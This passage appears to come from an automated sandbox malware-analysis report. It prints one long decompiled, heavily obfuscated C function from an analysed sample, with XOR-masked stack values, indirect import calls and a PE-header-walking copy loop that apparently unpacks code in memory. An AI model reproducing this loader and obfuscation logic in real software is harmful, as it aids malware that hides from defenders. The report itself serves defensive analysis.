                  • Instruction Fuzzy Hash: 5F2117B1601B1AAFE750DFA9DC84EDB7BECEF493C07024466E905C7219EB31E9018B61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Executed Functions

                  C-Code - Quality: 75%
                  			E04D25F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __esi, signed int _a4) {
                  				signed int _v8;
                  				signed int _v12;
                  				signed int _v16;
                  				signed int _v20;
                  				void* __edi;
                  				signed int _t610;
                  				void* _t612;
                  				signed int _t613;
                  				intOrPtr _t619;
                  				void* _t626;
                  				void* _t628;
                  				void* _t630;
                  				signed int _t631;
                  				signed int _t633;
                  				signed int _t636;
                  				signed int _t638;
                  				void* _t640;
                  				intOrPtr _t641;
                  				signed int _t644;
                  				void* _t646;
                  				signed int _t647;
                  				signed int _t650;
                  				signed int _t652;
                  				signed int _t653;
                  				intOrPtr _t656;
                  				signed int _t658;
                  				signed int _t661;
                  				signed int _t665;
                  				void* _t667;
                  				signed int _t668;
                  				signed int _t671;
                  				signed int _t675;
                  				signed int _t677;
                  				void* _t679;
                  				signed int _t680;
                  				signed int _t682;
                  				signed int _t684;
                  				signed int _t689;
                  				void* _t691;
                  				signed int _t692;
                  				signed int _t698;
                  				signed int _t701;
                  				signed int _t706;
                  				void* _t708;
                  				intOrPtr _t709;
                  				signed int _t711;
                  				void* _t713;
                  				signed int _t714;
                  				signed int _t717;
                  				intOrPtr _t720;
                  				signed int _t722;
                  				void* _t724;
                  				signed int _t726;
                  				intOrPtr _t729;
                  				void* _t730;
                  				signed int _t733;
                  				void* _t739;
                  				void* _t741;
                  				void* _t742;
                  				signed int _t744;
                  				void* _t746;
                  				signed int _t747;
                  				signed int _t753;
                  				signed int _t756;
                  				signed int _t760;
                  				void* _t762;
                  				signed int _t767;
                  				signed int _t771;
                  				void* _t773;
                  				void* _t775;
                  				void* _t776;
                  				intOrPtr _t778;
                  				signed int _t781;
                  				signed int _t785;
                  				intOrPtr _t788;
                  				signed int _t791;
                  				intOrPtr _t794;
                  				signed int _t797;
                  				signed int _t813;
                  				signed int _t816;
                  				void* _t819;
                  				signed int _t821;
                  				signed int _t824;
                  				void* _t827;
                  				void* _t828;
                  				void* _t830;
                  				signed int _t836;
                  				signed int _t840;
                  				signed int _t842;
                  				signed int _t844;
                  				signed int _t851;
                  				signed int _t856;
                  				signed int _t859;
                  				signed int _t862;
                  				signed int _t865;
                  				signed int _t867;
                  				signed int _t869;
                  				signed int _t875;
                  				signed int _t882;
                  				void* _t888;
                  				signed int _t889;
                  				signed int _t893;
                  				signed int _t896;
                  				signed int _t901;
                  				signed int _t906;
                  				signed int _t908;
                  				signed int _t916;
                  				signed int _t920;
                  				signed int _t924;
                  				signed int _t926;
                  				signed int _t928;
                  				signed int _t931;
                  				signed int _t934;
                  				signed int _t936;
                  				signed int _t939;
                  				signed int _t945;
                  				signed int _t947;
                  				signed int _t950;
                  				signed int _t953;
                  				signed int _t955;
                  				signed int _t958;
                  				void* _t966;
                  				signed int _t969;
                  				signed int _t975;
                  				signed int _t977;
                  				signed int _t979;
                  				signed int _t981;
                  				signed int _t986;
                  				signed int _t987;
                  				signed int _t1002;
                  				signed int _t1005;
                  				signed int _t1009;
                  				signed int _t1012;
                  				signed int _t1015;
                  				signed int _t1018;
                  				signed int _t1020;
                  				signed int _t1023;
                  				signed int _t1026;
                  				signed int _t1028;
                  				signed int _t1031;
                  				signed int _t1034;
                  				signed int _t1035;
                  				void* _t1036;
                  				long _t1041;
                  				void* _t1043;
                  				signed int _t1045;
                  				signed int _t1052;
                  				signed int _t1054;
                  				signed int _t1057;
                  				signed int _t1060;
                  				signed int _t1063;
                  				signed int _t1065;
                  				signed int _t1068;
                  				void* _t1069;
                  				signed int _t1071;
                  				signed int _t1074;
                  				void* _t1077;
                  				signed int _t1078;
                  				signed int _t1081;
                  				signed int _t1085;
                  				void* _t1089;
                  				signed int _t1091;
                  				void* _t1097;
                  				void* _t1102;
                  				signed int _t1103;
                  				signed int _t1106;
                  				void* _t1109;
                  				signed int _t1112;
                  				signed int _t1119;
                  				signed int* _t1120;
                  				signed int* _t1121;
                  				signed int* _t1122;
                  				signed int* _t1123;
                  				signed int* _t1124;
                  				signed int* _t1125;
                  				signed int* _t1126;
                  				signed int* _t1127;
                  				signed int* _t1128;
                  				signed int* _t1129;
                  				signed int* _t1130;
                  				signed int* _t1131;
                  				signed int* _t1132;
                  				signed int* _t1133;
                  				signed int* _t1134;
                  				signed int* _t1136;
                  				signed int* _t1139;
                  				signed int* _t1140;
                  				signed int* _t1141;
                  				signed int* _t1142;
                  				signed int* _t1143;
                  				signed int* _t1144;
                  
                  				_t1063 = __esi;
                  				_t813 = __ebx;
                  				_push(__eax);
                  				 *_t1119 =  *_t1119 & 0x00000000;
                  				 *_t1119 =  *_t1119 + _t1102;
                  				_t1103 = _t1119;
                  				_t1120 = _t1119 + 0xfffffff0;
                  				_push(_t1103);
                  				 *_t1120 =  *_t1120 & 0x00000000;
                  				 *_t1120 =  *_t1120 + __ecx;
                  				_push(__ecx);
                  				 *_t1120 =  *_t1120 & 0x00000000;
                  				 *_t1120 =  *_t1120 ^ __edx;
                  				_push(_t1103);
                  				 *_t1120 =  *_t1120 ^ _t1103;
                  				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
                  				_v16 = _v16 & 0x00000000;
                  				_push(_v16);
                  				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
                  				_push( *((intOrPtr*)(__ebx + 0x41f068))());
                  				_pop( *_t7);
                  				_push(_v16);
                  				_pop( *_t9);
                  				_pop( *_t10);
                  				_t920 = _v16;
                  				_t1121 = _t1120 - 0xfffffffc;
                  				_push(__esi);
                  				 *_t1121 =  *_t1121 ^ __esi;
                  				 *_t1121 =  *_t1120;
                  				_push(_v16);
                  				 *_t1121 = _t920;
                  				_push(_t1002);
                  				 *_t1121 =  *_t1121 - _t1002;
                  				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
                  				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
                  				_push(_v16);
                  				 *_t1121 = _t610;
                  				_push(__esi);
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
                  				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
                  				_pop( *_t18);
                  				_push(_t920);
                  				 *_t20 = _t612;
                  				_v20 = _v20 + _v20;
                  				_push(_v20);
                  				_pop(_t613);
                  				_v20 = _t613;
                  				_t836 = 0 ^  *(__ebx + 0x41c55d);
                  				if(_t836 > _v20) {
                  					_push(_v12);
                  					 *_t1121 = __ebx + 0x41c01b;
                  					_push(_t1103);
                  					 *_t1121 =  *_t1121 ^ _t1103;
                  					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
                  					_push( *((intOrPtr*)(__ebx + 0x41f064))());
                  					_pop( *_t31);
                  					_push(_v20);
                  					_pop( *_t33);
                  				}
                  				_pop( *_t34);
                  				_t924 = _v20;
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t924;
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
                  				 *_t1121 =  *_t1121 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
                  				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
                  				_v12 = _t836;
                  				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
                  				 *_t1121 = _t813 + 0x41c565;
                  				_v12 = 0;
                  				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
                  				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
                  				_pop( *_t48);
                  				_push(_v20);
                  				_pop( *_t50);
                  				_pop( *_t51);
                  				 *_t1121 =  *_t1121 - _t1103;
                  				 *_t1121 =  *_t1121 ^ _v20;
                  				 *_t1121 =  *_t1121 ^ _t813;
                  				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
                  				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
                  				_pop( *_t55);
                  				_push(_v16);
                  				_pop( *_t57);
                  				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t626;
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
                  				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
                  				 *_t1121 =  *_t1121 ^ _t924;
                  				 *_t1121 =  *_t1121 + _t628;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
                  				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
                  				_pop( *_t72);
                  				_t840 = _v20;
                  				 *_t74 = _t630;
                  				_v20 = _v20 + _t840;
                  				_push(_v20);
                  				_pop(_t631);
                  				_t1065 = _t1063;
                  				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
                  				_t1106 = _t1103;
                  				if(_t842 > _t631) {
                  					 *_t1121 =  *_t1121 & 0x00000000;
                  					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
                  					 *_t1121 = _t813 + 0x41cfe9;
                  					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
                  					_push(_t924);
                  					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
                  					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
                  				}
                  				_t633 = _t631 & 0x00000000 ^  *_t1121;
                  				_t1122 =  &(_t1121[1]);
                  				 *_t1122 = _t1002;
                  				 *(_t813 + 0x41d240) = _t633;
                  				_t1005 = 0;
                  				_pop( *_t88);
                  				_t926 = 0 ^ _v20;
                  				_pop( *_t90);
                  				_t844 = _t842 & 0x00000000 ^ _v16;
                  				 *_t1122 =  *_t1122 & 0x00000000;
                  				 *_t1122 =  *_t1122 ^ _t926;
                  				 *_t1122 =  *_t1122 & 0x00000000;
                  				 *_t1122 =  *_t1122 | _t844;
                  				 *_t1122 =  *_t1122 & 0x00000000;
                  				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
                  				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
                  				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
                  				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
                  				_t1123 =  &(_t1122[1]);
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1123 =  *_t1123 ^  *_t1122;
                  				_v16 = 0;
                  				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
                  				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
                  				 *_t1123 =  *_t1123 - _t1106;
                  				 *_t1123 =  *_t1123 | _t638;
                  				_v12 = 0;
                  				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
                  				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
                  				_t851 =  *_t1123;
                  				_t1124 =  &(_t1123[1]);
                  				 *_t113 = _t640;
                  				_v16 = _v16 + _t851;
                  				_push(_v16);
                  				_pop(_t641);
                  				_t928 = _t926;
                  				_v16 = _t1005;
                  				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
                  					_v12 = 0;
                  					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
                  					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
                  				}
                  				 *_t1124 = _t928;
                  				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
                  				_t931 = 0;
                  				_v12 = _t1065;
                  				_t1068 = _v12;
                  				_v12 = 0;
                  				 *_t1124 =  *_t1124 | 0 ^ _a4;
                  				_v16 = 0;
                  				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
                  				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
                  				_v12 = 0;
                  				 *_t1124 =  *_t1124 ^ _t644;
                  				 *_t1124 = _t813 + 0x41cb65;
                  				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
                  				_t1125 =  &(_t1124[1]);
                  				_v12 = _t931;
                  				_push( *_t1124 + _t646);
                  				_t934 = _v12;
                  				_pop(_t647);
                  				_v12 = _t647;
                  				_t856 = 0 ^  *(_t813 + 0x41c187);
                  				_t650 = _v12;
                  				if(_t856 > _t650) {
                  					_v20 = 0;
                  					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
                  					 *_t1125 =  *_t1125 ^ _t856;
                  					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
                  					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
                  					_v16 = _t1068;
                  					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
                  					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
                  					_t1068 = _v16;
                  				}
                  				_t652 = _t650 & 0x00000000 ^  *_t1125;
                  				_t1126 = _t1125 - 0xfffffffc;
                  				 *_t162 = _t652;
                  				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
                  				_push(_v16);
                  				_pop(_t653);
                  				_t936 = _t934;
                  				 *_t1126 = _t653;
                  				 *_t1126 =  *_t1126 & 0x00000000;
                  				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
                  				 *_t1126 = _t813 + 0x41ce8a;
                  				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
                  				 *_t1126 = _t1106;
                  				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
                  				_t1109 = 0;
                  				_t658 =  *_t1126;
                  				_t1127 =  &(_t1126[1]);
                  				 *_t1127 = _t658;
                  				 *_t1127 =  *_t1127 - _t856;
                  				 *_t1127 =  *_t1127 ^ _t658;
                  				 *_t1127 =  *_t1127 - _t936;
                  				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
                  				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
                  				 *_t1127 = _t936;
                  				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
                  				_t939 = 0;
                  				_t1128 = _t1127 - 0xfffffffc;
                  				_v20 = _t813;
                  				_t1009 =  *_t1127;
                  				_t816 = _v20;
                  				_v12 = 0;
                  				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
                  				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
                  				 *_t1128 =  *_t1128 ^ _t1009;
                  				 *_t1128 = _t665;
                  				 *_t1128 =  *_t1128 - _t1009;
                  				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
                  				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
                  				_t1129 =  &(_t1128[1]);
                  				 *_t1129 =  *_t1129 ^ _t1068;
                  				_t1069 = _t667;
                  				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
                  				_t1071 = 0;
                  				_v20 = _t1009;
                  				_t859 = 0 ^  *(_t816 + 0x41c250);
                  				_t1012 = _v20;
                  				if(_t859 > _t668) {
                  					 *_t1129 =  *_t1129 - _t1012;
                  					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
                  					_v12 = 0;
                  					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
                  					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
                  				}
                  				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
                  				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
                  				_t862 = _t859;
                  				 *_t1129 =  *_t1129 - _t1071;
                  				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
                  				 *_t1129 = _t816 + 0x41ca88;
                  				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
                  				_v20 = _t862;
                  				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
                  				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
                  				_t865 = _v20;
                  				_pop( *_t211);
                  				_v8 = _v8 & 0x00000000;
                  				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
                  				_t819 = _t816;
                  				 *_t1129 =  *_t1129 & 0x00000000;
                  				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
                  				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
                  				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
                  				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
                  				_t1112 = _t1109;
                  				 *_t1129 =  *_t1129 - _t865;
                  				 *_t1129 =  *_t1129 ^ _t1012;
                  				 *_t1129 = _t819 + 0x41ca0d;
                  				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
                  				 *_t1129 = _t677;
                  				 *_t1129 = _t819 + 0x41cbe6;
                  				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
                  				_t867 =  *_t1129;
                  				_t1130 = _t1129 - 0xfffffffc;
                  				 *_t230 = _t679;
                  				_v16 = _v16 + _t867;
                  				_push(_v16);
                  				_pop(_t680);
                  				_t821 = _t819;
                  				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
                  				_t1074 = _t1071;
                  				if(_t869 > _t680) {
                  					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
                  					_v12 = 0;
                  					 *_t1130 =  *_t1130 | _t235;
                  					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
                  					 *_t1130 =  *_t1130 & 0x00000000;
                  					 *_t1130 =  *_t1130 + _t238;
                  					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
                  				}
                  				 *_t1130 = _t1012;
                  				 *(_t821 + 0x41c918) = 0 ^ _t680;
                  				_t1015 = 0;
                  				_v16 = _t869;
                  				_v16 = 0;
                  				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
                  				_t247 = _t821 + 0x41d093; // 0x41d093
                  				 *_t1130 =  *_t1130 & 0x00000000;
                  				 *_t1130 =  *_t1130 | _t247;
                  				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
                  				 *_t1130 = _t1015;
                  				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
                  				_t1018 = 0;
                  				 *_t250 = _t821;
                  				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
                  				_t1077 = _t1074;
                  				 *_t1130 =  *_t1130 & 0x00000000;
                  				 *_t1130 =  *_t1130 ^ _v16;
                  				_t253 = _t821 + 0x41cfd9; // 0x41cfd9
                  				_v20 = 0;
                  				 *_t1130 =  *_t1130 | _t253;
                  				_t684 =  *((intOrPtr*)(_t821 + 0x41f060))(_v20, _t1077);
                  				_v20 = _t1020;
                  				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) & 0x00000000;
                  				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) | _t1020 ^ _v20 ^ _t684;
                  				_t1023 = _v20;
                  				_t1131 =  &(_t1130[1]);
                  				 *_t1131 = _t684;
                  				_t1078 = _a4;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1131 =  *_t1131 |  *_t1130;
                  				_t268 = _t821 + 0x41ca9e; // 0x41ca9e
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1131 =  *_t1131 | _t268;
                  				_t689 =  *((intOrPtr*)(_t821 + 0x41f060))(_v12, _v12, 0);
                  				 *_t1131 =  *_t1131 & 0x00000000;
                  				 *_t1131 =  *_t1131 | _t689;
                  				_t273 = _t821 + 0x41c931; // 0x41c931
                  				 *_t1131 =  *_t1131 & 0x00000000;
                  				 *_t1131 =  *_t1131 | _t273;
                  				_t691 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
                  				 *_t275 = _t1023;
                  				_v20 = _t821;
                  				_push(0 + _v16 + _t691);
                  				_t824 = _v20;
                  				_pop(_t692);
                  				_push( *((intOrPtr*)(_t824 + 0x41cccf)));
                  				_pop( *_t280);
                  				_push(_v12);
                  				_pop(_t875);
                  				if(_t875 > _t692) {
                  					 *_t1131 = _t824 + 0x41ca9e;
                  					 *_t1131 =  *_t1131 & 0x00000000;
                  					 *_t1131 =  *_t1131 ^ _t824 + 0x0041c931;
                  					_t692 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1078, _v16);
                  					 *_t286 = _t692;
                  					_push(_v16);
                  					_pop( *_t288);
                  				}
                  				_pop( *_t289);
                  				_t945 = _v12;
                  				_v12 = _t692;
                  				 *_t1131 = _t875 & 0x00000000 | _t692 ^ _v12 | _t945;
                  				 *_t1131 =  *_t1131 ^ _t824;
                  				 *_t1131 =  *_t1131 + _t945;
                  				_v12 = 0;
                  				 *_t1131 =  *_t1131 ^ _t824 + 0x0041d1ba;
                  				 *_t1131 = _t824 + 0x41c856;
                  				_t698 =  *((intOrPtr*)(_t824 + 0x41f068))(_v16, _v12, _t824, _v12);
                  				_v20 = _t1078;
                  				 *(_t824 + 0x41c0c8) = 0 ^ _t698;
                  				_t1081 = _v20;
                  				_pop( *_t304);
                  				_t947 = 0 ^ _v20;
                  				_t879 = 0 ^  *_t1131;
                  				_t1132 = _t1131 - 0xfffffffc;
                  				if(_t1023 != _t1081) {
                  					 *_t1132 =  *_t1132 - _t1023;
                  					 *_t1132 =  *_t1132 ^ _t879;
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1132 =  *_t1132 + _t947;
                  					_v16 = 0;
                  					 *_t1132 =  *_t1132 ^ _t824 + 0x0041c7a9;
                  					_t739 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20, _t1023);
                  					_v12 = 0;
                  					 *_t1132 =  *_t1132 + _t739;
                  					 *_t1132 =  *_t1132 & 0x00000000;
                  					 *_t1132 =  *_t1132 ^ _t824 + 0x0041d026;
                  					_t741 =  *((intOrPtr*)(_t824 + 0x41f060))(_t824, _v12);
                  					_t1139 = _t1132 - 0xfffffffc;
                  					 *_t317 = _t741;
                  					_v20 = _v20 + (_t879 & 0x00000000) +  *_t1132;
                  					_push(_v20);
                  					_pop(_t742);
                  					_t1045 = _t1023;
                  					_push(0);
                  					 *_t1139 = _t1045;
                  					_t906 = 0 ^  *(_t824 + 0x41c244);
                  					if(_t906 > _t742) {
                  						 *_t1139 =  *_t1139 ^ _t906;
                  						 *_t1139 =  *_t1139 | _t824 + 0x0041c7a9;
                  						 *_t1139 =  *_t1139 & 0x00000000;
                  						 *_t1139 =  *_t1139 + _t824 + 0x41d026;
                  						_t797 =  *((intOrPtr*)(_t824 + 0x41f064))(_t824, _t906);
                  						_push(0);
                  						 *_t1139 = _t947;
                  						 *(_t824 + 0x41cf47) = 0 ^ _t797;
                  					}
                  					_pop( *_t326);
                  					_t969 = _v12;
                  					_t908 =  *_t1139;
                  					_t1140 = _t1139 - 0xfffffffc;
                  					do {
                  						asm("movsb");
                  						_v12 = 0;
                  						 *_t1140 =  *_t1140 + _t908;
                  						_v12 = _v12 & 0x00000000;
                  						 *_t1140 =  *_t1140 + _t969;
                  						 *_t1140 =  *_t1140 - _t969;
                  						 *_t1140 =  *_t1140 | _t824 + 0x0041c831;
                  						_t744 =  *((intOrPtr*)(_t824 + 0x41f060))(_t969, _v12, _v12);
                  						 *_t1140 =  *_t1140 ^ _t1112;
                  						 *_t1140 =  *_t1140 ^ _t744;
                  						 *_t1140 =  *_t1140 & 0x00000000;
                  						 *_t1140 =  *_t1140 ^ _t824 + 0x0041c7fa;
                  						_t746 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1081, _t1112);
                  						_t1141 =  &(_t1140[1]);
                  						 *_t337 = _t746;
                  						_v20 = _v20 +  *_t1140;
                  						_push(_v20);
                  						_pop(_t747);
                  						_t1081 = _t1081;
                  						_v12 = _t747;
                  						if((0 ^  *(_t824 + 0x41c054)) > _v12) {
                  							 *_t1141 = _t824 + 0x41c831;
                  							 *_t1141 = _t824 + 0x41c7fa;
                  							_t794 =  *((intOrPtr*)(_t824 + 0x41f064))(_v16, _v16);
                  							_v16 = _t969;
                  							 *((intOrPtr*)(_t824 + 0x41c254)) = _t794;
                  						}
                  						_pop( *_t352);
                  						_t969 = 0 + _v12;
                  						_t1140 = _t1141 - 0xfffffffc;
                  						_t908 =  *_t1141 - 1;
                  					} while (_t908 != 0);
                  					 *_t1140 =  *_t1140 & 0x00000000;
                  					 *_t1140 =  *_t1140 ^ _t969;
                  					 *_t1140 =  *_t1140 & 0x00000000;
                  					 *_t1140 =  *_t1140 ^ _t824 + 0x0041ccd3;
                  					_v20 = 0;
                  					 *_t1140 =  *_t1140 ^ _t824 + 0x0041c339;
                  					_t753 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t908, _t908);
                  					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) & 0x00000000;
                  					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) ^ _t969 ^  *_t1140 ^ _t753;
                  					_t975 =  *_t1140;
                  					_t1142 = _t1140 - 0xfffffffc;
                  					_v12 = _t753;
                  					_t756 = _v12;
                  					 *_t1142 =  *_t1142 ^ _t756;
                  					 *_t1142 =  *_t1142 ^ _t975;
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c8b7;
                  					_push( *((intOrPtr*)(_t824 + 0x41f060))(_v20, _t756, _t969));
                  					_pop( *_t371);
                  					_push(_v16);
                  					_pop( *_t373);
                  					_pop( *_t374);
                  					_t977 = _t975 & 0x00000000 ^ _v16;
                  					 *(_t824 + 0x41c60a) = 0x40;
                  					 *_t1142 = _t977;
                  					_v16 = 0;
                  					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c4cb;
                  					_t760 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20);
                  					 *_t1142 = _t760;
                  					 *_t1142 = _t824 + 0x41c438;
                  					_t762 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v12);
                  					_pop( *_t386);
                  					 *_t1142 =  *_t1142 | _t824;
                  					_t830 = _t762;
                  					_t824 = 0;
                  					_v16 =  *((intOrPtr*)(_t824 + 0x41c166));
                  					_t916 =  *(_t824 + 0x41d118);
                  					_t1052 = _v16;
                  					if(_t916 > _t830 + _v20 + (_t908 & 0x00000000)) {
                  						_t391 = _t824 + 0x41c4cb; // 0x41c4cb
                  						 *_t1142 =  *_t1142 - _t916;
                  						 *_t1142 =  *_t1142 + _t391;
                  						_t392 = _t824 + 0x41c438; // 0x41c438
                  						 *_t1142 =  *_t1142 ^ _t977;
                  						 *_t1142 =  *_t1142 | _t392;
                  						_t791 =  *((intOrPtr*)(_t824 + 0x41f064))(_t977, _t916);
                  						_v20 = _t977;
                  						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) & 0x00000000;
                  						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) | _t977 - _v20 ^ _t791;
                  					}
                  					_t979 =  *_t1142;
                  					_t1143 = _t1142 - 0xfffffffc;
                  					_t401 = _t824 + 0x41c60a; // 0x41c60a
                  					 *_t1143 =  *_t1143 - _t979;
                  					 *_t1143 =  *_t1143 ^ _t401;
                  					 *_t1143 = _t979;
                  					_t403 = _t824 + 0x41cb46; // 0x41cb46
                  					 *_t1143 =  *_t1143 & 0x00000000;
                  					 *_t1143 =  *_t1143 + _t403;
                  					_t404 = _t824 + 0x41c91c; // 0x41c91c
                  					 *_t1143 = _t404;
                  					_t767 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t824, _v16, _t979);
                  					 *_t1143 = _t1081;
                  					 *(_t824 + 0x41cf40) = 0 ^ _t767;
                  					_t1097 = 0;
                  					_t981 =  *_t1143;
                  					_t1144 =  &(_t1143[1]);
                  					_pop( *_t408);
                  					 *_t1144 =  *_t1144 & 0x00000000;
                  					 *_t1144 =  *_t1144 + (0 ^ _v20);
                  					 *_t1144 = _t981;
                  					_t411 = _t824 + 0x41cc6e; // 0x41cc6e
                  					 *_t1144 = _t411;
                  					_t771 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v16, _t916);
                  					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) & 0x00000000;
                  					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) ^ _t981 & 0x00000000 ^ _t771;
                  					 *_t418 = _t981;
                  					_t986 = _v12;
                  					 *_t1144 = 2;
                  					_v12 = _v12 & 0x00000000;
                  					 *_t1144 =  *_t1144 ^ _t986;
                  					_t423 = _t824 + 0x41cfff; // 0x41cfff
                  					 *_t1144 =  *_t1144 & 0x00000000;
                  					 *_t1144 =  *_t1144 ^ _t423;
